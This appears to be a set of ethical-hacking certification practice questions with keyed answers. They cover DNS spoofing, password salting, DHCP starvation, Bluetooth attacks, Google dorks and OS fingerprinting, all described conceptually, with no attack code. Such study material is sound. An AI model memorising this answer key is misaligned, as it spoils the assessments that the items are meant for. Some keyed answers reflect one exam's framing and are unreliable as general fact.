What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

- A. AndroidManifest.xml
- B. classes.dex
- C. APK.info
- D. resources.asrc

Correct Answer: A

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

- A. The attacker queries a nameserver using the DNS resolver.
- B. The attacker uses TCP to poison the DNS resolver.
- C. The attacker makes a request to the DNS resolver.
- D. The attacker forges a reply from the DNS resolver.

Correct Answer: A

Ethical hacker Jane Doe is attempting to crack the password of the head of the IT department of ABC company. She is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting.

What countermeasure is the company using to protect against rainbow tables?

- A. Account lockout
- B. Password hashing
- C. Password key hashing
- D. Password salting

Correct Answer: *D*

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

What is the online tool employed by Clark in the above scenario?

- A. DuckDuckGo
- B. AOL
- C. ARIN
- D. Baidu

Correct Answer: *C*

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-

SHA384, and ECDSA using a 384-bit elliptic curve.

Which is this wireless security protocol?

- A. WPA3-Personal
- B. WPA3-Enterprise
- C. WPA2-Enterprise
- D. WPA2-Personal

Correct Answer: *B*

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL `www.bank.com`, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.

What type of attack he is experiencing?

- A. DHCP spoofing
- B. DoS attack
- C. ARP cache poisoning
- D. DNS hijacking

Correct Answer: *D*

Henry is a cyber security specialist hired by BlackEye x€" Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS.

Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

- A. 128
- B. 255
- C. 64
- D. 138

Correct Answer: *A*

What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

- A. `httpd.conf`
- B. `administration.config`
- C. `php.ini`
- D. `idq.dll`

Correct Answer: *C*

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network. Which of the following attacks did Abel perform in the above scenario?

- A. Rogue DHCP server attack
- B. VLAN hopping
- C. STP attack
- D. DHCP starvation

Correct Answer: D

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

- A. CPU
- B. UEFI
- C. GPU
- D. TPM

Correct Answer: D

Based on the below log, which of the following sentences are true?

Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip

- A. Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.
- B. Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.
- C. SSH communications are encrypted; it's impossible to know who is the client or the server.
- D. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.

Correct Answer: D

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.

Which of the following types of MIB is accessed by Garry in the above scenario?

- A. LNMIB2.MIB
- B. DHCP.MIB
- C. MIB_II.MIB
- D. WINS.MIB

Correct Answer: C

You have been authorized to perform a penetration test against a website. You want to use Google dorks to footprint the site but only want results that show file extensions.

What Google dork operator would you use?

- A. inurl
- B. site
- C. ext
- D. filetype

Correct Answer: D

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

- A. Bluesmacking
- B. Bluesnarfing
- C. Bluejacking
- D. Bluebugging

Correct Answer: B

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

Which phase of the vulnerability-management life cycle is David currently in?

- A. Remediation
- B. Verification
- C. Risk assessment
- D. Vulnerability scan

Correct Answer: A

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website.

What is the attack performed by Bobby in the above scenario?

- A. aLTer attack
- B. Jamming signal attack
- C. Wardriving
- D. KRACK attack

Correct Answer: A